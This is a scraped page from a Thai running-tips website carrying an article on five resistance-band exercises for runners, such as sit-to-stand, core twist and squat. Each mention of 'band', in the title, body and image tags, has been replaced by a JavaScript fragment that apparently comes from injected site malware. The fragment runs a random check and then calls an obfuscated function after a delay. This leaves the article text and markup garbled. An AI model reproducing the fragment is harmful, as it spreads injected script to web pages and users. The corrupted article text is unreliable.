• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ป้องกันอาการบาดเจ็บด้วย 5 ท่าฝึกประกอบเส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and)

kan by kan
21 December 2017
in Running Tips, Tips & Technics, Training
0
ป้องกันอาการบาดเจ็บด้วย 5 ท่าฝึกประกอบเส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

OK…การฝึกกล้ามเนื้อ หรือการฝึก Strength training มีขอดีอะไรบ้าง ขอสั้นๆ …หนึ่งจะช่วยแก้ไขบาลานซ์ให้กับกล้ามเนื้อนักวิ่ง อันจะช่วยเพิ่มประสิทธิภาพในการวิ่ง และสอง คือช่วยป้องกันและลดความเสี่ยงในการเกิดอาการบาดเจ็บ

การฝึกกล้ามเนื้อนอกจากการยกลูกเหล็กแล้ว ยังมีการฝึกอีกประเภทหรือที่ไม่ค่อยได้ยินมากสักเท่าไหร่นักนั้นคือ การฝึกกล้ามเนื้อโดยการใช้ เส้นยางยืด หรือ Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เป็นอุปกรณ์ที่สามารถใช้ในการฝึกกล้ามเนื้อ และใช้ในการรักษาฟื้นฟูหลัง กายวิภาคหลังจากการเกิดอาการบาดเจ็บ แถมข้อดีเพิ่มเติมคือ สามารถฝึกได้เองที่บ้าน และใช้พื้นที่น้อย

การใช้เส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and) มีประโยชน์ต่อมัดกล้ามเนื้อหลักๆ ที่ใช้ในการวิ่ง อย่างเช่น core, legs และ glutes นอกจากนี้ยังช่วยฝึกบาลานซ์ ให้กล้ามเนื้อ เอ็นและเส้นยึดต่างๆ อยู่เป็นที่เป็นทางลดการกระตุก การฝึกอาจจะได้ผลมากกว่าการยกดรัมเบลด้วยซ้ำ

การฝึกโดยการใช้ เส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and แนะนำทำ 2 เซต เซตละ 8-10 ครั้ง สามารถฝึกเพิ่มไปจนถึง 25 ครั้ง/เซตได้

1. ท่า Sit to standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ฝึกกล้ามเนื้อ Quads, Hamstrings และ Glutes นั่งตัวตรง ใช้ขาข้างเดียวยกตัวขึ้น ทำสลับขากัน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-1.png” alt=”” width=”580″ height=”370″ />

2. Core twist ฝึกกล้ามเนื้อ core ยืนตัวตรง หันเอวข้างใดข้างหนึ่งเข้ากับกำแพง แล้วใช้เอวบิดลำตัวไปอีกด้านตรงกันข้าม

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-2.png” alt=”” width=”246″ height=”370″ />

3. Squat ฝึกกล้ามเนื้อ Quads, hip extension และ Glutes ตั้งท่าเหมือนกับการสคอด

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-3.png” alt=”” width=”249″ height=”366″ />

4. Side-leg raise ฝึกกล้ามเนื้อ gluteus medius ตั้งตัวตรง หันเอวเข้ากำแพง ใช้ขาดึงออกจากกำแพง ทำสลับข้างกัน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4.png” alt=”” width=”255″ height=”370″ />

5. Arm swing ฝึกกล้ามเนื้อแขน ไหล่ และช่วยปรับ Posture นักวิ่ง ฝึกยกแขนสลับไปมาเหมือนตอนวิ่ง

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-5.png” alt=”” width=”249″ height=”370″ />

แปลและเรียบเรียง Active.com :https://goo.gl/ZwxByk

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.